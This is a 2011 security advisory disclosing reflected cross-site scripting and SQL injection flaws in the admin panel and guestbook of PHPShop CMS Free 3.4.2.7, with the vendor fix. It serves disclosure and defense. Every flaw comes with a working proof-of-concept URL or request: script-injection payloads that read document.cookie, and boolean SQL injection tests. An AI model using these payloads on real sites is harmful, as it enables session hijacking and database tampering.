Multiple vulnerabilities in PHPShop CMS Free
| Advisory ID: | HTB23058 |
| Product: | PHPShop CMS Free |
| Vendor: | PHPShop Software |
| Vulnerable Versions: | 3.4.2.7 and probably prior |
| Tested Version: | 3.4.2.7 |
| Advisory Publication: | November 23, 2011 [without technical details] |
| Vendor Notification: | November 23, 2011 |
| Public Disclosure: | December 20, 2011 |
| Vulnerability Type: | Cross-Site Scripting [CWE-79]
SQL Injection [CWE-89] |
| Risk Level: | High |
|  |
| CVSSv2 Base Scores: | 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P) |
| Solution Status: | Fixed by Vendor |
| Discovered and Provided: | High-Tech Bridge Security Research Lab |
|
Advisory Details: |
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in PHPShop CMS Free, which can be exploited to perform cross-site scripting and SQL injection attacks.
1) Cross-Site Scripting in PHPShop CMS Free
1.1 Input appended to the URL after multiple files is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.
Exploitation example:
http://[host]/phpshop/admpanel/banner/adm_baner_new.php/%22%3E%3Cscript%3Eal ert%28document.cookie%29;%3C/script%3E
http://[host]/phpshop/admpanel/gbook/adm_gbook_new.php/%22%3E%3Cscript%3Eale rt%28document.cookie%29;%3C/script%3E
http://[host]/phpshop/admpanel/links/adm_links_new.php/%22%3E%3Cscript%3Eale rt%28document.cookie%29;%3C/script%3E
http://[host]/phpshop/admpanel/menu/adm_menu_new.php/%22%3E%3Cscript%3Ealert %28document.cookie%29;%3C/script%3E
http://[host]/gbook/?a=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/scri pt%3E
Successful exploitation of this vulnerabilities requires that Apache's directive "AcceptPathInfo" is set to "on" or "default" (default value is "default")
1.2 Input passed via the "pid" GET parameter to /phpshop/admpanel/catalog/admin_cat_content.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
Exploitation example:
http://[host]/phpshop/admpanel/catalog/admin_cat_content.php?pid=%22%3E%3Csc ript%3Ealert%28document.cookie%29;%3C/script%3E
1.3 Input passed via the "id" GET parameter to /phpshop/admpanel/catalog/adm_catalog_new.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
Exploitation example:
http://[host]/phpshop/admpanel/catalog/adm_catalog_new.php?id=%%22%3E%3Cscri pt%3Ealert%28document.cookie%29;%3C/script%3E
1.4 Input passed via the "catalogID" GET parameter to /phpshop/admpanel/page/adm_pages_new.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
Exploitation example:
http://[host]/phpshop/admpanel/page/adm_pages_new.php?catalogID=%22%3E%3Cscr ipt%3Ealert%28document.cookie%29;%3C/script%3E
1.5 Input passed via the "pid" GET parameter to /phpshop/admpanel/photo/admin_photo_content.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
Exploitation example:
http://[host]/phpshop/admpanel/photo/admin_photo_content.php?pid=%22%3E%3Csc ript%3Ealert%28document.cookie%29;%3C/script%3E
1.6 Input passed via the "log" & "pas" COOKIE parameters to /phpshop/admpanel/ is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
Exploitation example:
GET /phpshop/admpanel/ HTTP/1.1
Cookie: log="><script>alert(document.cookie)%3b</script>
2) SQL Injection in PHPShop CMS Free
2.1 Input passed via the "id" GET parameter to /phpshop/admpanel/catalog/adm_catalog_new.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
Exploitation example:
http://[host]/phpshop/admpanel/catalog/adm_catalog_new.php?id=3%20AND%201=1
Successful exploitation of this vulnerability requires that attacker have access to admin panel.
2.2 Input passed via the "pid" GET parameter to /phpshop/admpanel/catalog/admin_cat_content.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
Exploitation example:
http://[host]/phpshop/admpanel/catalog/admin_cat_content.php?pid=3%20AND%201 =2
Successful exploitation of this vulnerability requires that attacker have access to admin panel.
2.3 Input passed via the "catalogID" GET parameter to /phpshop/admpanel/page/adm_pages_new.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
Exploitation example:
http://[host]/phpshop/admpanel/page/adm_pages_new.php?catalogID=3%20AND%201= 2
Successful exploitation of this vulnerability requires that attacker have access to admin panel.
2.4 Input passed via the "pid" GET parameter to /phpshop/admpanel/photo/admin_photo_content.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
Exploitation example:
http://[host]/phpshop/admpanel/photo/admin_photo_content.php?pid=6%20AND%201 =2
Successful exploitation of this vulnerability requires that attacker have access to admin panel.
|
- GDPR & PCI DSS Test
- Website CMS Security Test
- CSP & HTTP Headers Check
- WordPress & Drupal Scanning
Try For Free
Solution: |
Upgrade to 3.4.3.01 or later version
More information available:
http://forum.phpshopcms.ru/index.php?showtopic=1508
http://www.phpshopcms.ru/release.html |
| |
References: |
[1] High-Tech Bridge Advisory HTB23058 - https://www.immuniweb.com/advisory/HTB23058 - Multiple vulnerabilities in PHPShop CMS Free
[2] PHPShop CMS Free - phpshopcms.ru - PHPShop CMS Free is a free content management system.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. |
|
Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
